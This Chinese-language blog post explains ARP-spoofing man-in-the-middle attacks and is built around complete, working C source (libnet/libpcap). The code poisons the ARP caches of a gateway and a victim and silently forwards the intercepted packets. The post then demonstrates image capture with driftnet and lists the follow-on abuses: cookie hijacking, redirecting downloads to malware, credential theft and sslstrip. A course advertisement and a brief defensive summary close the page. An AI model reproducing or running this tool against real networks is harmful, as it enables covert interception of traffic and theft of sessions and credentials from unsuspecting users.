中间人攻击的原理与实现

  下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议)

  上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:

(备注:右键另存为 大图较清晰)

实现"中间人"的情景,有两个关键点:

    · ARP欺骗:目的是将通信双方的数据包流经中间人。

    · 数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。

  第一步:ArpSpoof

(备注:右键另存为 大图较清晰) 

  ArpSpoof模块的源码如下:

 View Code

  第二步:数据包分析、转发

  这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:

  mitm-forwarder模块的源码如下:

 View Code

 第三步:

   借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:

void main()

{
    uint8_t ip_A[4]={192,168,1,1};
    uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
    uint8_t ip_B[4]={192,168,1,108};
    uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
    uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
    //BPF_filterStr: ether dst mac_M  and ip
    char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
    char * devMitm="eth0";

  //local
  pid_t sonPid;
  sonPid=fork();
  if( sonPid==-1 )
  {//failure
    printf("failure:mitm fork error :( \n");
  }
  else if(sonPid==0)
  {//child
    printf("child : pid:%d:)\n",getpid());
    ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
  }
  else
  {//parent
    printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
    sleep(2);
    mitm_forwarder(
       ip_A,mac_A,
      ip_B,mac_B,
      mac_M,BPF_filterStr,
      devMitm
        );
  }
}
 

  如此,最终代码如下:

#include<unistd.h>
#include<pcap.h>
#include<time.h>
#include<stdio.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<libnet.h>

#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4

struct ethernet_ip_hdr
{
    uint8_t  ether_dhost[6];/* destination ethernet address */
    uint8_t  ether_shost[6];/* source ethernet address */
    uint16_t ether_type;    /* protocol */
    uint8_t  ip_ver_hdrlen;
    uint8_t  ip_tos;
    uint16_t ip_total_len;         /* total length */
    uint16_t ip_id;          /* identification */
    uint16_t ip_frag;
    uint8_t  ip_ttl;          /* time to live */
    uint8_t  ip_proto;            /* protocol */
    uint16_t ip_hdrCRC;         /* checksum */
    uint8_t  ip_src[4];
    uint8_t  ip_dst[4];
};

struct MITM_para
{
    const uint8_t * ip_A;
    const uint8_t * mac_A;
    const uint8_t * ip_B;
    const uint8_t * mac_B;
    const uint8_t * mac_M;
    const char * BPF_filterStr;
    const char * devMitm;
};

int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
                           const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
                         )
 {
         static char padPtr[18];
         libnet_t *net_t = NULL;
         char err_buf[LIBNET_ERRBUF_SIZE];
         libnet_ptag_t p_tag;
         unsigned int i=0;

         //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
         //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);

         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
         if(net_t == NULL)
         {
                 printf("libnet_init error\n");
                 return 2;
         }

         p_tag = libnet_build_arp(
                         ARPHRD_ETHER,//hardware type ethernet
                         ETHERTYPE_IP,//protocol type
                         MAC_ADDR_LEN,//mac length
                         IP_ADDR_LEN,//protocol length
                         arpOp,//op type
                         (u_int8_t *)src_mac,//source mac addr
                         (u_int8_t *)src_ip,//source ip addr
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)dst_ip,//dest ip  addr
                         padPtr,//payload
                         18,//payload length
                         net_t,//libnet context
                         0//0 stands to build a new one
         );

         if(-1 == p_tag)
         {
                 printf("libnet_build_arp error\n");
                 libnet_destroy(net_t);
                 return 3;
         }

         p_tag = libnet_build_ethernet(//create ethernet header
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)src_mac,//source mac addr
                         ETHERTYPE_ARP,//protocol type
                        padPtr,//payload
                        0,//payload length
                         net_t,//libnet context
                         0//0 to build a new one
         );

         if(-1 == p_tag)
         {
                 printf("libnet_build_ethernet error!\n");
                 libnet_destroy(net_t);
                 return 4;
         }

         int res;
         i=0;
         for(;i<sendTimes;i++)
           if(-1 == (res = libnet_write(net_t)))
           {
                 printf("A libnet_write error!\n");
                 libnet_destroy(net_t);
                 return 5;
           }

         libnet_destroy(net_t);
         return 0;
 FAIL:
         libnet_destroy(net_t);
                 return 6;
 }

void ArpSpoof(
          const uint8_t * ip_A, const uint8_t * mac_A,
      const uint8_t * ip_B, const uint8_t * mac_B,
      const uint8_t * mac_M,
          const char * devMitm
         )
{
  //
  /*
    arp-reply: M->A B is at M
    arp-reply: M->B A is at M
  */
  while(1)
  {
  usleep(500000);
  ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );

  usleep(500000);
  ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
  }
}

int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
                   const unsigned char * dst_mac,const unsigned char * src_mac,
                               const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
                               )
{
         libnet_t *net_t = NULL;
         char err_buf[LIBNET_ERRBUF_SIZE];
         libnet_ptag_t p_tag;
         unsigned int i=0;

     //init the libnet context structure
         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
         if(net_t == NULL)
         {
                 printf("libnet_init error\n");
                 return 1;
         }

      //build the ethernet packet
         p_tag = libnet_build_ethernet(//create ethernet header
                         dst_mac,//dest mac addr
                         src_mac,//source mac addr
                         protoType,//protocol type
                         padPtr,//payload
                         padLength,//payload length
                         net_t,//libnet context
                         0//0 to build a new one
         );
         if(-1 == p_tag)
         {
                 printf("libnet_build_ethernet error!\n");
                 goto FAIL;
         }

         for(i=0;i<sendTimes;i++)
           if(-1 == libnet_write(net_t))
           {
                 printf("B libnet_write error!\n");
                 goto FAIL;
           }

         libnet_destroy(net_t);
         return 0;
     FAIL:
         libnet_destroy(net_t);
         return 1;
}



void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
  int i;
  const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
  unsigned int    sendTimes=1;
  const uint16_t  etherProto=0x0800;
  const char    * dev=mitmParaPtr->devMitm;
  const uint8_t * ether_Ahost=mitmParaPtr->mac_A;
  const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
  const uint8_t * ether_Mhost=mitmParaPtr->mac_M;
  const uint8_t * A_IP=mitmParaPtr->ip_A;
  const uint8_t * B_IP=mitmParaPtr->ip_B;
  const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;

  if (
       (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6))
       //&&
       //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
     )
  { // packet: A send to B
     printf(" :) ether src A && ip dst B\n");
     BuildAndSendEthernetPacket(dev,sendTimes,
                ether_Bhost,ether_Mhost,
                //dst_mac,  src_mac,
                                etherProto,packet+14,pkthdr->len-14
                               );
  }
  else if (
       (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6))
       //&&
       //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
     )
  { // packet: B send to A
     printf("ether src B && ip dst A\n");
     BuildAndSendEthernetPacket(dev,sendTimes,
                ether_Ahost,ether_Mhost,
                //dst_mac,  src_mac,
                etherProto,packet+14,pkthdr->len-14
                               );
  }
}


int mitm_forwarder(
       const uint8_t * ip_A, const uint8_t * mac_A,
      const uint8_t * ip_B, const uint8_t * mac_B,
      const uint8_t * mac_M,const char * BPF_filterStr,
          const char * devMitm
        )
//BPF_filterStr: ether dst mac_M  and ip
{
  char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  struct bpf_program filter;

  struct MITM_para mitmPara;

  mitmPara.ip_A=ip_A;
  mitmPara.mac_A=mac_A;

  mitmPara.ip_B=ip_B;
  mitmPara.mac_B=mac_B;

  mitmPara.mac_M=mac_M;

  mitmPara.BPF_filterStr=BPF_filterStr;
  mitmPara.devMitm=devMitm;

  /* get a device */
  devStr = pcap_lookupdev(errBuf);

  if(devStr)
  {
    printf("success: device: %s\n", devStr);
  }
  else
  {
    printf("error: %s\n", errBuf);
    exit(1);
  }

  /* open a device, wait until a packet arrives */
  pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);

  if(!device)
  {
    printf("error: pcap_open_live(): %s\n", errBuf);
    exit(1);
  }
  // ether dst 00:11:22:33:44:55  and ip
  pcap_compile( device,&filter,BPF_filterStr,1,0 );
  pcap_setfilter(device ,&filter );
  /* wait loop forever */
  pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);

  pcap_close(device);

  return 0;
}


/*
        gw            kali
   192.168.1.1            192.168.1.108
14:E6:E4:94:B4:D6       00:7B:05:03:8E:90
        A                        B

             00:11:22:33:44:55
                    M

*/

void main()

{
    uint8_t ip_A[4]={192,168,1,1};
    uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};

    uint8_t ip_B[4]={192,168,1,31};
    uint8_t mac_B[6]={0x00,0x0C,0x29,0xA4,0xAC,0x26};

    uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};

    //BPF_filterStr: ether dst mac_M  and ip
    char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
    char * devMitm="eth0";

  //local
  pid_t sonPid;

  sonPid=fork();
  if( sonPid==-1 )
  {//failure
    printf("failure:mitm fork error :( \n");
  }
  else if(sonPid==0)
  {//child
    printf("child : pid:%d:)\n",getpid());
    ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm );
  }
  else
  {//parent
    printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
    sleep(2);
    mitm_forwarder(
       ip_A,mac_A,
      ip_B,mac_B,
      mac_M,BPF_filterStr,
          devMitm
        );
  }
}

  测试:

    kali        GW

        Ubuntu

  如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:

~# driftnet -i eth0

  而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:

   

  中间人攻击的可怕之处:

  1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie ID,以绕过服务器对此用户的密码认证;  

  2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;

  3.截获已知认证协议的账户、密码;

  4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;

  5.屏蔽或者重定向指定的网络地址;

   ……

网络安全零基础入门

网络安全学习路线

对于从来没有接触过网络安全的同学,我帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

 

 

同时每个成长路线对应的板块都有配套的视频提供:

 

 

因篇幅有限,仅展示部分资料,需要的小伙伴可以持续关注我~

网络安全教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

 

 

SRC漏洞挖掘&护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

 

 

网络安全工具包合集

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于ARP欺骗的中间人攻击(Man-in-the-Middle Attack,简称MitM攻击)是一种常见的网络攻击方式。攻击者通过欺骗网络中的主机,使得攻击者能够在通信双方之间进行监听、篡改和窃取数据等恶意活动。 攻击原理: 在网络中,主机之间的通信需要使用ARP协议进行地址解析。攻击者可以伪造ARP响应包,将自己的MAC地址伪装成目标主机的MAC地址,从而让其他主机将数据包发送给攻击者。攻击者可以在接收到数据包后进行窃听、篡改、重放等恶意操作,然后再将数据包转发给真正的目标主机,使得通信双方都不知道数据已经被攻击者窃取或篡改。 攻击过程: 1. 攻击者向网络中的主机发送伪造的ARP响应包,将自己的MAC地址伪装成目标主机的MAC地址。 2. 当其他主机要向目标主机发送数据包时,会将数据包发送给攻击者的MAC地址,攻击者就可以接收到这些数据包。 3. 攻击者可以在接收到数据包后,进行监听、篡改、重放等恶意操作,然后再将数据包转发给真正的目标主机,使得通信双方都不知道数据已经被攻击者窃取或篡改。 4. 攻击者不断重复上述过程,使得通信双方一直在与攻击者进行通信,从而实现中间人攻击。 防范措施: 1. 使用加密通信方式,如SSL、TLS等,可以有效防止数据包被窃听或篡改。 2. 使用网络级别的身份验证和加密技术,如802.1x等,可以防止攻击者伪造MAC地址进行ARP欺骗。 3. 监控网络中的ARP响应包,发现异常情况及时采取措施,如禁止伪造的MAC地址访问网络等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值